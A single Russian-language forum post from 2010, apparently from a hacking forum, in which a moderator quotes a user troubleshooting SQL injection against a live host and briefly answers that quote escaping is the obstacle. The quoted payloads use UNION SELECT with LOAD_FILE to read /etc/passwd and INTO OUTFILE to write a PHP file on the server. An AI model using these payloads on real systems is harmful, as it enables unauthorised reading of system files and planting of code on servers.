Показать сообщение отдельно

  #3  
Старый 08.01.2010, 13:53
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от Gidz  
не так тоже не как, ну да ладно, я пробую на новом хосте, там вроде все работает, узнал количество полей, пробую
-1+UNION+SELECT+LOAD_FILE(etc/passwd);
но мне выдается такая ошибка
Unknown column 'etc' in 'field list'
пробую на запись проверить, но пишет не правильный синтаксис
-1+UNION+SELECT+1+INTO+OUTFILE+'/tmp/file.php';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'/tmp/file.php\'' at line 1

кавычки может ему не нравятся?? без них если написать, то тоже самое, только без слешей '/tmp/file.php'
подскажите нубу плз, что можно попробовать еще??
В кавычках дело, а без кавычек нельзя.

Последний раз редактировалось Ctacok; 08.01.2010 в 16:48..
 
Ответить с цитированием